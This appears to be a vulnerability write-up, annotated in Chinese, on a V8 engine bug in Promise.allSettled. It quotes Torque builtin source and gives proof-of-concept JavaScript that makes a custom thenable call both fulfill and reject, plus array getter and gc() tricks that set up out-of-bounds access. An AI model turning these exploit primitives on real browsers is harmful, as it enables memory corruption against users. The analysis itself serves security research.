// 用法  Promise.allSettled(iterable);  // iterable就是字面意思，一个可迭代对象      示例        Promise.allSettled([  Promise.resolve(1),  Promise.reject(2)  ])  .then((results) => results.forEach((result) => console.log(result.status)));  // output:  // fulfilled  // rejected

transitioning macro PromiseAllResolveElementClosure<F: type>(  implicit context: Context)(  value: JSAny, function: JSFunction, wrapResultFunctor: F): JSAny {    [ ... ]  const index = identityHash - 1;    let remainingElementsCount = UnsafeCast<Smi>(  context.elements[PromiseAllResolveElementContextSlots::  kPromiseAllResolveElementRemainingSlot]);    let values = UnsafeCast<FixedArray>(  context.elements[PromiseAllResolveElementContextSlots::  kPromiseAllResolveElementValuesSlot]);  const newCapacity = index + 1;  if (newCapacity > values.length_intptr) deferred {  // This happens only when the promises are resolved during iteration.  values = ExtractFixedArray(values, 0, values.length_intptr, newCapacity);  context.elements[PromiseAllResolveElementContextSlots::  kPromiseAllResolveElementValuesSlot] = values;  }  values.objects[index] = updatedValue;    remainingElementsCount = remainingElementsCount - 1; //减1  context.elements[PromiseAllResolveElementContextSlots::  kPromiseAllResolveElementRemainingSlot] =  remainingElementsCount;  if (remainingElementsCount == 0) { //为0  const capability = UnsafeCast<PromiseCapability>(  context.elements[PromiseAllResolveElementContextSlots::  kPromiseAllResolveElementCapabilitySlot]);  const resolve = UnsafeCast<JSAny>(capability.resolve);  const arrayMap = UnsafeCast<Map>(  nativeContext  .elements[NativeContextSlot::JS_ARRAY_PACKED_ELEMENTS_MAP_INDEX]);  const valuesArray = NewJSArray(arrayMap, values);  Call(context, resolve, Undefined, valuesArray); //返回array  }  return Undefined;  }

class MyCls{  constructor(executor){  executor(custom_resolve,custom_reject);  }  static resolve(){  return{  then:(fulfill, reject)=>{  fulfill(); reject();  }  }  }  }

// ES#sec-promise.allsettled  // Promise.allSettled ( iterable )  transitioning javascript builtin PromiseAllSettled(  js-implicit context: Context, receiver: JSAny)(iterable: JSAny): JSAny {  return GeneratePromiseAll( //================================调用GeneratePromiseAll  receiver, iterable, PromiseAllSettledResolveElementFunctor{},  PromiseAllSettledRejectElementFunctor{});  }  ==============================================================================  transitioning macro GeneratePromiseAll<F1: type, F2: type>(  implicit context: Context)(  receiver: JSAny, iterable: JSAny, createResolveElementFunctor: F1,  createRejectElementFunctor: F2): JSAny {  [ ... ]  try {  // Let iterator be GetIterator(iterable).  // IfAbruptRejectPromise(iterator, promiseCapability).  let i = iterator::GetIterator(iterable);    // Let result be PerformPromiseAll(iteratorRecord, C,  // promiseCapability). If result is an abrupt completion, then  // If iteratorRecord.[[Done]] is false, let result be  // IteratorClose(iterator, result).  // IfAbruptRejectPromise(result, promiseCapability).  return PerformPromiseAll( //=========================调用PerformPromiseAll  receiver, capability, i, createResolveElementFunctor,  createRejectElementFunctor) otherwise Reject;  [ ... ]  ===============================================================================  transitioning macro PerformPromiseAll<F1: type, F2: type>(  implicit context: Context)(  constructor: JSReceiver, capability: PromiseCapability,  iter: iterator::IteratorRecord, createResolveElementFunctor: F1,  createRejectElementFunctor: F2): JSAny labels  Reject(Object) {  const nativeContext = LoadNativeContext(context);  const promise = capability.promise;  const resolve = capability.resolve;  const reject = capability.reject;  [ ... ]  const resolveElementContext =  CreatePromiseAllResolveElementContext(capability, nativeContext);    let index: Smi = 1;  [ ... ]    // Set iteratorRecord.[[Done]] to true.  // Set remainingElementsCount.[[Value]] to  // remainingElementsCount.[[Value]] - 1.  let remainingElementsCount = UnsafeCast<Smi>(  resolveElementContext[PromiseAllResolveElementContextSlots::  kPromiseAllResolveElementRemainingSlot]);  remainingElementsCount -= 1;  resolveElementContext[PromiseAllResolveElementContextSlots::  kPromiseAllResolveElementRemainingSlot] =  remainingElementsCount;  if (remainingElementsCount > 0) {  // Pre-allocate the backing store for the {values_array} to the desired  // capacity here. We may already have elements here in case of some  // fancy Thenable that calls the resolve callback immediately, so we need  // to handle that correctly here.  const valuesArray = UnsafeCast<JSArray>(  resolveElementContext[PromiseAllResolveElementContextSlots::  kPromiseAllResolveElementValuesArraySlot]);  const oldElements = UnsafeCast<FixedArray>(valuesArray.elements);  const oldCapacity = oldElements.length_intptr;  const newCapacity = SmiUntag(index);  if (oldCapacity < newCapacity) {  valuesArray.elements =  ExtractFixedArray(oldElements, 0, oldCapacity, newCapacity);  }  } else  deferred {  // If remainingElementsCount.[[Value]] is 0, then  // Let valuesArray be CreateArrayFromList(values).  // Perform ? Call(resultCapability.[[Resolve]], undefined,  // « valuesArray »).  assert(remainingElementsCount == 0);  const valuesArray = UnsafeCast<JSAny>(  resolveElementContext[PromiseAllResolveElementContextSlots::  kPromiseAllResolveElementValuesArraySlot]);  Call(nativeContext, UnsafeCast<JSAny>(resolve), Undefined, valuesArray);  }  //Print("WTF!");  // Return resultCapability.[[Promise]].  return promise;  }

transitioning macro PromiseAllResolveElementClosure<F: type>(  implicit context: Context)(  value: JSAny, function: JSFunction, wrapResultFunctor: F): JSAny {  [ ... ]    // Update the value depending on whether Promise.all or  // Promise.allSettled is called.  const updatedValue = wrapResultFunctor.Call(nativeContext, value);  // Determine the index from the {function}.    // Check if we need to grow the [[ValuesArray]] to store {value} at {index}.  const valuesArray = UnsafeCast<JSArray>(  context[PromiseAllResolveElementContextSlots::  kPromiseAllResolveElementValuesArraySlot]);  const elements = UnsafeCast<FixedArray>(valuesArray.elements);  const valuesLength = Convert<intptr>(valuesArray.length);  if (index < valuesLength) {  //Print('1');  // The {index} is in bounds of the {values_array},  // just store the {value} and continue.  elements.objects[index] = updatedValue;//将对应promisefulfilled或reject后的返回值写入array  } else {  //Print('2');  // Check if we need to grow the backing store.  const newLength = index + 1;  const elementsLength = elements.length_intptr;  if (index < elementsLength) {  // The {index} is within bounds of the {elements} backing store, so  // just store the {value} and update the "length" of the {values_array}.  valuesArray.length = Convert<Smi>(newLength);  elements.objects[index] = updatedValue;//将对应promisefulfilled或reject后的返回值写入array  } else  deferred {  //Print('3');  // We need to grow the backing store to fit the {index} as well.  const newElementsLength = IntPtrMin(  CalculateNewElementsCapacity(newLength),  kPropertyArrayHashFieldMax + 1);  assert(index < newElementsLength);  assert(elementsLength < newElementsLength);  const newElements =  ExtractFixedArray(elements, 0, elementsLength, newElementsLength);  newElements.objects[index] = updatedValue;    // Update backing store and "length" on {values_array}.  valuesArray.elements = newElements;  valuesArray.length = Convert<Smi>(newLength);  }  }  let remainingElementsCount =  UnsafeCast<Smi>(context[PromiseAllResolveElementContextSlots::  kPromiseAllResolveElementRemainingSlot]);  remainingElementsCount = remainingElementsCount - 1;  //Print('remainingElementsCount in all-element ',remainingElementsCount);  context[PromiseAllResolveElementContextSlots::  kPromiseAllResolveElementRemainingSlot] = remainingElementsCount;  if (remainingElementsCount == 0) { //当remainingElementsCount为0时返回array  //Print('return array');  const capability = UnsafeCast<PromiseCapability>(  context[PromiseAllResolveElementContextSlots::  kPromiseAllResolveElementCapabilitySlot]);  const resolve = UnsafeCast<JSAny>(capability.resolve);  Call(context, resolve, Undefined, valuesArray); //返回array  }  return Undefined;  }

class MyCls{  constructor(executor){  executor(custom_resolve,custom_reject);  }  static resolve(){  return{  then:(fulfill, reject)=>{  console.log("call fulfill");  fulfill();  console.log("call reject");  reject();  }  }  }  }    // var arr = Reflect.construcst(MyCls,[function (reject,resolve){resolve()}],Promise);  var arr = Promise.allSettled([Reflect.apply(MyCls.resolve,Promise,[1])]);

Promise.allSettled(b)  .then(arr => {  arr[0x10000] = 1;  %DebugPrint(arr);  });

function custom_resolve(arr){  console.log("custom_resolve called");  arr[0x10000] = 1;  // %DebugPrint(arr);  }  function custom_reject(){  console.log("custom_reject called");  }

macro UnsafeCast<A : type extends Object>(implicit context: Context)(o: Object):  A {  //Print(o);  assert(Is<A>(o));  return %RawDownCast<A>(o);  }

let arr = []  arr[0x10000] = 1  Object.defineProperty(arr, 0, {  get : () => {  console.log("getter called")  return 1  }  })

Object.defineProperty(oob_arr, 0, {  get : () => {  print("=== getter called ===");  victim_arr.length = 0x10; // 在回调函数中修改数组长度  gc();  return 1;  }  });